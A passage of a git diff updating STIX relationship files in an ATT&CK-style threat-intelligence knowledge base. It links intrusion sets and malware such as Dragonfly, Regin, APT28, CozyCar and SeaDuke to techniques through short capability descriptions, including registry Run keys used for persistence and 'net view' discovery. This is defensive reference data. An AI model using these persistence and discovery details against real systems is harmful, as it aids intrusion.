diff --git a/enterprise-attack/relationship/relationship--2fbcd38e-0ec9-4f2d-823b-3654f108f3a3.json b/enterprise-attack/relationship/relationship--2fbcd38e-0ec9-4f2d-823b-3654f108f3a3.json
new file mode 100644
index 0000000000..f0525007d2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2fbcd38e-0ec9-4f2d-823b-3654f108f3a3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--06871e92-f88e-4467-805f-b90392420d47",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2fbcd38e-0ec9-4f2d-823b-3654f108f3a3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used Web shells to maintain access to a victim network and download additional malicious files.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9.json b/enterprise-attack/relationship/relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9.json
index 49160f1ae5..ae97c9358a 100644
--- a/enterprise-attack/relationship/relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9.json
+++ b/enterprise-attack/relationship/relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8486dd2f-a37a-4986-91af-d84f94e530ff",
+    "id": "bundle--024c6d70-f93b-4b6b-afb9-46bfb946deb2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f.json b/enterprise-attack/relationship/relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f.json
new file mode 100644
index 0000000000..a9061ace6c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--76f02350-ff53-4f57-beb3-ea3373b28aee",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can modify file or directory timestamps.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--301de16e-3829-4fb0-b217-dcdfca7398c9.json b/enterprise-attack/relationship/relationship--301de16e-3829-4fb0-b217-dcdfca7398c9.json
index 39f26aaedc..1978a01037 100644
--- a/enterprise-attack/relationship/relationship--301de16e-3829-4fb0-b217-dcdfca7398c9.json
+++ b/enterprise-attack/relationship/relationship--301de16e-3829-4fb0-b217-dcdfca7398c9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44abee56-a3fd-4365-8ec4-9180f0b01421",
+    "id": "bundle--203d89a7-2714-4481-af01-b2d5f7cfb397",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--301de16e-3829-4fb0-b217-dcdfca7398c9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
diff --git a/enterprise-attack/relationship/relationship--305ecc72-e820-44cb-ab52-593ccca814ff.json b/enterprise-attack/relationship/relationship--305ecc72-e820-44cb-ab52-593ccca814ff.json
index a9564c7d44..b75e448339 100644
--- a/enterprise-attack/relationship/relationship--305ecc72-e820-44cb-ab52-593ccca814ff.json
+++ b/enterprise-attack/relationship/relationship--305ecc72-e820-44cb-ab52-593ccca814ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5fa8e07-e32f-4b07-b9f8-3a878d9d0ef3",
+    "id": "bundle--1920b4b6-598b-4d71-b443-0fdafe1c1191",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--305ecc72-e820-44cb-ab52-593ccca814ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet can execute commands using cmd.exe.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--3076f49e-0db2-4652-a07d-653027aeef1e.json b/enterprise-attack/relationship/relationship--3076f49e-0db2-4652-a07d-653027aeef1e.json
index f69a2965d3..ae9b4b4323 100644
--- a/enterprise-attack/relationship/relationship--3076f49e-0db2-4652-a07d-653027aeef1e.json
+++ b/enterprise-attack/relationship/relationship--3076f49e-0db2-4652-a07d-653027aeef1e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ba0bf5c8-b7dd-4149-a93d-53860980f872",
+    "id": "bundle--7aef986e-241c-4b57-b58f-6396e4e52896",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3076f49e-0db2-4652-a07d-653027aeef1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain a process list from the victim.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db.json b/enterprise-attack/relationship/relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db.json
index 47bd553935..f6abf748e7 100644
--- a/enterprise-attack/relationship/relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db.json
+++ b/enterprise-attack/relationship/relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--295168db-c85a-4458-9997-797b020c19bd",
+    "id": "bundle--b5c22239-9c6d-4f3d-b581-8d011b5e10ef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has a utility to list detailed information about files and directories ",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67.json b/enterprise-attack/relationship/relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67.json
index b165ae7c20..1f392cbccb 100644
--- a/enterprise-attack/relationship/relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67.json
+++ b/enterprise-attack/relationship/relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82c13cbd-e1f1-448a-882b-f32bc259bee7",
+    "id": "bundle--fe63a5a3-8aee-464b-a256-6b558b78fd90",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to enumerate system information.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c.json b/enterprise-attack/relationship/relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c.json
index a0bf80b61e..decc399746 100644
--- a/enterprise-attack/relationship/relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c.json
+++ b/enterprise-attack/relationship/relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--507ad08b-0fe9-4b1a-aeb4-727e2399be7d",
+    "id": "bundle--4eb0811d-1f11-48dc-9182-dbdda641a7f2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT is obscured using XOR encoding and appended to a valid GIF file.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--318afc9f-92f3-4262-af70-b2e045b87737.json b/enterprise-attack/relationship/relationship--318afc9f-92f3-4262-af70-b2e045b87737.json
index 0f857e1c4c..f82b000ec0 100644
--- a/enterprise-attack/relationship/relationship--318afc9f-92f3-4262-af70-b2e045b87737.json
+++ b/enterprise-attack/relationship/relationship--318afc9f-92f3-4262-af70-b2e045b87737.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bbfea953-bc5e-4632-956b-5a2d649b3011",
+    "id": "bundle--9eda2b33-9f82-4197-b865-9028230800c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
diff --git a/enterprise-attack/relationship/relationship--31cd4eb1-f7b3-4030-b087-388d55faba03.json b/enterprise-attack/relationship/relationship--31cd4eb1-f7b3-4030-b087-388d55faba03.json
index 62ddf11023..810dfa804e 100644
--- a/enterprise-attack/relationship/relationship--31cd4eb1-f7b3-4030-b087-388d55faba03.json
+++ b/enterprise-attack/relationship/relationship--31cd4eb1-f7b3-4030-b087-388d55faba03.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--13715dae-21e2-4cd2-9166-b3130b9fb371",
+    "id": "bundle--40c58be2-a008-4a0c-8cab-52cf27d515e0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getInfoOSX function to return the OS X version as well as the current user.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee.json b/enterprise-attack/relationship/relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee.json
index 45f9a0f7a3..b398bf0bc6 100644
--- a/enterprise-attack/relationship/relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee.json
+++ b/enterprise-attack/relationship/relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e46adf9b-45ae-40f2-9637-c47a074881b0",
+    "id": "bundle--b93d50fd-622a-4084-a551-0efd4d2472d0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands such as <code>net view</code> can be used in Net to gather information about available remote systems.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--321544e0-902c-443e-adf9-d7e78f0e4d13.json b/enterprise-attack/relationship/relationship--321544e0-902c-443e-adf9-d7e78f0e4d13.json
index e2f25f2137..67644dee99 100644
--- a/enterprise-attack/relationship/relationship--321544e0-902c-443e-adf9-d7e78f0e4d13.json
+++ b/enterprise-attack/relationship/relationship--321544e0-902c-443e-adf9-d7e78f0e4d13.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de22d81b-a68f-4cb7-a64d-a366c364e51e",
+    "id": "bundle--f02200aa-0279-4558-a620-ddf42d355d04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--321544e0-902c-443e-adf9-d7e78f0e4d13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of downloading remote files.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--32218bd0-d598-4560-9a70-ab7d5c92f986.json b/enterprise-attack/relationship/relationship--32218bd0-d598-4560-9a70-ab7d5c92f986.json
index 0284c9152e..268ff7aaf9 100644
--- a/enterprise-attack/relationship/relationship--32218bd0-d598-4560-9a70-ab7d5c92f986.json
+++ b/enterprise-attack/relationship/relationship--32218bd0-d598-4560-9a70-ab7d5c92f986.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f4d105f-02f8-491e-8116-89799fbf2d44",
+    "id": "bundle--b75f0d03-25eb-4331-b23a-c73b4f791fdf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--32218bd0-d598-4560-9a70-ab7d5c92f986",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD can gather the victim user name.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
diff --git a/enterprise-attack/relationship/relationship--324a5331-cce7-4154-a803-ad68d5de1f94.json b/enterprise-attack/relationship/relationship--324a5331-cce7-4154-a803-ad68d5de1f94.json
index 405a024492..a7e19d28f7 100644
--- a/enterprise-attack/relationship/relationship--324a5331-cce7-4154-a803-ad68d5de1f94.json
+++ b/enterprise-attack/relationship/relationship--324a5331-cce7-4154-a803-ad68d5de1f94.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bdeec3d1-f1bd-442a-828a-af49124f3167",
+    "id": "bundle--f1cbc835-3c6d-4f8b-90a3-585c13bf6ba3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--324a5331-cce7-4154-a803-ad68d5de1f94",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
diff --git a/enterprise-attack/relationship/relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0.json b/enterprise-attack/relationship/relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0.json
index 7097ce0f6f..7ea12cf1cc 100644
--- a/enterprise-attack/relationship/relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0.json
+++ b/enterprise-attack/relationship/relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea60e53a-d1b0-451f-b28b-b1bdd2c6a941",
+    "id": "bundle--9e785556-b236-48bb-ae2c-17f584bc16ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The ZLib backdoor compresses communications using the standard Zlib compression library.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87.json b/enterprise-attack/relationship/relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87.json
index 22d392ecb0..ce636ca649 100644
--- a/enterprise-attack/relationship/relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87.json
+++ b/enterprise-attack/relationship/relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--38937e1a-83f8-476f-bf1c-f27d2b32e635",
+    "id": "bundle--39077305-2748-4247-8b12-d1490051c926",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
diff --git a/enterprise-attack/relationship/relationship--3264e1db-0f54-4049-a45c-3a03a24709aa.json b/enterprise-attack/relationship/relationship--3264e1db-0f54-4049-a45c-3a03a24709aa.json
index ec86f9134d..f6f0ea9585 100644
--- a/enterprise-attack/relationship/relationship--3264e1db-0f54-4049-a45c-3a03a24709aa.json
+++ b/enterprise-attack/relationship/relationship--3264e1db-0f54-4049-a45c-3a03a24709aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3bc2e6e9-bce4-4e88-a2e6-1bb07a3ba406",
+    "id": "bundle--9b292af1-bd92-4d44-ad89-28120e93df29",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3264e1db-0f54-4049-a45c-3a03a24709aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel has been used to execute remote commands.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b.json b/enterprise-attack/relationship/relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b.json
index ac93ebd75c..6a72f9852d 100644
--- a/enterprise-attack/relationship/relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b.json
+++ b/enterprise-attack/relationship/relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--53b1b066-fe4c-4bb9-8bfa-0cc155b42067",
+    "id": "bundle--ddba3b3f-454e-4da9-94dd-3c8f01b6a1ff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi is capable of creating a remote Bash shell and executing commands.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--327a64df-b405-453b-83d2-528d17e8df51.json b/enterprise-attack/relationship/relationship--327a64df-b405-453b-83d2-528d17e8df51.json
index c128414a47..d35a78ee46 100644
--- a/enterprise-attack/relationship/relationship--327a64df-b405-453b-83d2-528d17e8df51.json
+++ b/enterprise-attack/relationship/relationship--327a64df-b405-453b-83d2-528d17e8df51.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4955ce2d-5ea9-419a-8288-ed64c27b006e",
+    "id": "bundle--31cd91bd-6fb4-4f0a-ad9e-9e0acc92889a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--327a64df-b405-453b-83d2-528d17e8df51",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One persistence mechanism used by CozyCar is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br><code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> <br><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> <br><code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code> <br><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--32864e94-8581-4f77-bf7d-53aaf3710f60.json b/enterprise-attack/relationship/relationship--32864e94-8581-4f77-bf7d-53aaf3710f60.json
index c8f54ef61f..0ec56f8135 100644
--- a/enterprise-attack/relationship/relationship--32864e94-8581-4f77-bf7d-53aaf3710f60.json
+++ b/enterprise-attack/relationship/relationship--32864e94-8581-4f77-bf7d-53aaf3710f60.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f8db9e2-c0c9-4098-a4e1-121fb89871f3",
+    "id": "bundle--b04f1c97-ce83-4f9c-b30d-1cf571184b51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--32864e94-8581-4f77-bf7d-53aaf3710f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f.json b/enterprise-attack/relationship/relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f.json
index bf7f3e5c22..36fb9cee71 100644
--- a/enterprise-attack/relationship/relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f.json
+++ b/enterprise-attack/relationship/relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cafa2c13-071c-4f71-8a5d-d07f20f6f0d8",
+    "id": "bundle--9cc0c0b4-18b7-4c10-b8c6-fa45183a2bc1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM has a hard-coded primary and backup C2 string.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f.json b/enterprise-attack/relationship/relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f.json
index a90d6a507f..734586c61d 100644
--- a/enterprise-attack/relationship/relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f.json
+++ b/enterprise-attack/relationship/relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2804d2c5-9740-4c56-8809-ed8cb4057c96",
+    "id": "bundle--1fcdd111-65b8-409c-aa08-c5767363d3a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tasklist can be used to discover processes running on a system.",
             "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--32ba984e-dbe9-4a8a-a1b7-16ba560d31d5.json b/enterprise-attack/relationship/relationship--32ba984e-dbe9-4a8a-a1b7-16ba560d31d5.json
index 9e834d3155..70e57dd8f6 100644
--- a/enterprise-attack/relationship/relationship--32ba984e-dbe9-4a8a-a1b7-16ba560d31d5.json
+++ b/enterprise-attack/relationship/relationship--32ba984e-dbe9-4a8a-a1b7-16ba560d31d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b48a7b8b-13c4-466b-8980-6190790c26fa",
+    "id": "bundle--880c265b-09b0-4c1b-88d8-8db1dc146ed3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--32ba984e-dbe9-4a8a-a1b7-16ba560d31d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
